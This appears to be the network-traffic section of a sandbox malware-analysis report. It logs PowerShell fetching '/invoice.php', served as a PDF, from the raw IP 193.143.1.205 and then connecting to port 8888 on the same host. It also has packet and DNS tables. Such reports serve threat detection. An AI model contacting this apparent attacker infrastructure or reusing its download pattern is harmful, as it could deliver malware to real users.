Jan 10, 2025 19:33:53.325973034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326000929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326023102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326040983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326046944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326060057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326081991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326090097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326095104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326109886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326121092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326123953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326148033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326159000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326159000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326174974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326184988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326189995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326211929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326225042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326237917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326255083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326262951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.326289892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.326311111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.330605030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330665112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.330751896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330765009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330785036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330799103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330809116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.330813885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330828905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.330849886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.330873013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.357489109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.359924078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.359962940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.359997988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360022068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360047102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360061884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360088110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360095978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360132933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360137939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360160112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360179901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360207081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360225916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360234976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360245943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360272884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360312939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360312939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360337973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360373974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360378981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360400915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360424995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360444069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360450029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360472918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360491037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360496998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360518932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360534906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360546112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360564947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360580921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.360585928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.360618114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.361355066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.391854048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.391868114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.391876936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.391889095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.391947985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.392011881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.396528006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.396547079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.396559000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.396572113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.396609068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.396617889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.396644115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.401285887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.401300907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.401312113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.401324987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.401340008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.401345015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.401376963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.401439905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.406092882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.406120062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.406136036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.406162977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.406168938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.406181097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.406210899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.410868883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.410896063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.410911083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.410926104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.410940886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.410991907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.415694952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.415716887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.415730953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.415745974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.415759087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.415793896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.415829897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.420419931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420449018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420460939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420475006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420490980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420505047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.420568943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.425173044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.425192118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.425205946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.425220966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.425246954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.425282955 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.429939032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.429965973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.429982901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.429999113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.430013895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.430052996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.430080891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.434653044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.434688091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.434703112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.434712887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.434720039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.434758902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.439409018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.439443111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.439457893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.439474106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.439487934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.439488888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.439516068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.439558983 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.444111109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.444140911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.444155931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.444173098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.444186926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.444206953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.444206953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.444742918 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.448884964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.448904991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.448952913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.448982954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.448999882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.449014902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.449037075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.449059963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.452455997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.453597069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.453617096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.453670979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.453671932 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.453689098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.453728914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.458309889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.458327055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.458349943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.458365917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.458379030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.458386898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.458412886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.463030100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.463089943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.472712040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477262974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477287054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477300882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477315903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477319956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.477332115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.477349997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.477399111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.481990099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482012987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482026100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482039928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482054949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482069969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.482103109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.482129097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.486751080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.486768961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.486790895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.486805916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.486814022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.486886024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.491492033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491517067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491529942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491544008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491559029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491564035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.491575956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.491601944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.491651058 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.496198893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.496222973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.496287107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.500907898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500926971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500938892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500952959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500967979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500981092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.500994921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.501039982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.505630970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.505660057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.505675077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.505688906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.505702972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.505729914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.505764008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.510353088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.510379076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.510392904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.510405064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.510409117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.510425091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.510443926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.510485888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.515064955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.515089989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.515105963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.515120029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.515135050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.515172958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.516031027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.519777060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.519802094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.519850016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.524506092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.524530888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.524544954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.524559975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.524574995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.524580956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.524635077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.528480053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.529270887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.529290915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.529304981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.529320002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.529333115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.529342890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.529378891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.533981085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.534007072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.534019947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.534034014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.534049034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.534073114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.534137964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.538734913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.538753986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.538769007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.538784981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.538799047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.538827896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.538875103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.543493032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.543509007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.543523073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.543538094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.543553114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.543554068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.543613911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.588011980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.600455046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.801079988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:54.212848902 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:54.217665911 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:54.217782974 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:54.218120098 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:54.222959995 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:55.034735918 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:55.075793028 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:55.304785967 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 19:34:08.019247055 CET	59548	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:34:08.024060011 CET	53	59548	1.1.1.1	192.168.2.8
Jan 10, 2025 19:34:08.025008917 CET	59548	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:34:08.029828072 CET	53	59548	1.1.1.1	192.168.2.8
Jan 10, 2025 19:34:08.496267080 CET	59548	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:34:08.501204014 CET	53	59548	1.1.1.1	192.168.2.8
Jan 10, 2025 19:34:08.501261950 CET	59548	53	192.168.2.8	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:34:01.924998999 CET	62575	53	192.168.2.8	1.1.1.1
Jan 10, 2025 19:34:08.018729925 CET	53	58263	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:34:01.924998999 CET	192.168.2.8	1.1.1.1	0xa40c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:34:01.932858944 CET	1.1.1.1	192.168.2.8	0xa40c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:34:02.645565987 CET	1.1.1.1	192.168.2.8	0xbc38	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:34:02.645565987 CET	1.1.1.1	192.168.2.8	0xbc38	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	5420	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:33:51.890882015 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:33:52.717210054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:33:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 